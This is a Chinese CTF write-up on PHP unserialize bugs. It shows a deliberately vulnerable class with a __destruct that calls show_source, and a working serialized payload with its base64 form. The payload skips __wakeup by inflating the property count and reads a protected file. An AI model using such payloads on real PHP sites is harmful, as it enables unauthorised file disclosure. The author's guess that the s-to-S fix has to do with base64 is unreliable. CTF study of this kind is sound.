PHP反序列化漏洞-CTF
PHP反序列化漏洞-FIRST
PHP反序列化漏洞-SECOND
1.CTF實例
CTF實例源碼:
strchr() 函數: 搜索字符串在另一字符串中的第一次出現,返回字符串的其餘部分(從匹配點)。如果未找到所搜索的字符串,則返回 FALSE。
dirname(__FILE__)
函數:表示當前文件絕對路徑
//10.php
<?php
error_reporting(0); //關閉錯誤報告
class happy{
protected $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //過濾了文件名中的\\與/
show_source(dirname(__FILE__).'/'.$this->file); //打開文件操作
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?>
<!--password in 123.php--> //密碼在123.php文件中
分析:
isset()函數,當()中的值爲空返回false,也就是說們通過GET傳參,爲空時顯示index.php文件。
if (!isset($_GET['file']))
{
show_source('index.php');
}
構造payload
O:5:"happy":2:{s:7:"\00*\00file";s:7:"123.php";}
base64加密後:
Tzo1OiJoYXBweSI6Mjp7czo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9
我們發現此時我們構造的payload並沒有生效,輸出的爲index.php頁面。
對於此處,我搜查了一些資料,發現是對於保護變量進行外部修改時,屬性標識符的問題,也就是s的問題,我們將s->S後,成功回顯123.php
在PHP序列化格式中,不存在S與s標識有什麼區別,所以我分析,應該爲base64編碼中對這塊有什麼特殊的規定,我暫時沒有找到,希望大家看到此處時,明白其原由的請評論給我,謝謝
O:5:"happy":2:{S:7:"\00*\00file";s:7:"123.php";}
base64加密後
Tzo1OiJoYXBweSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9
成功打開123.php文件,漏洞利用成功…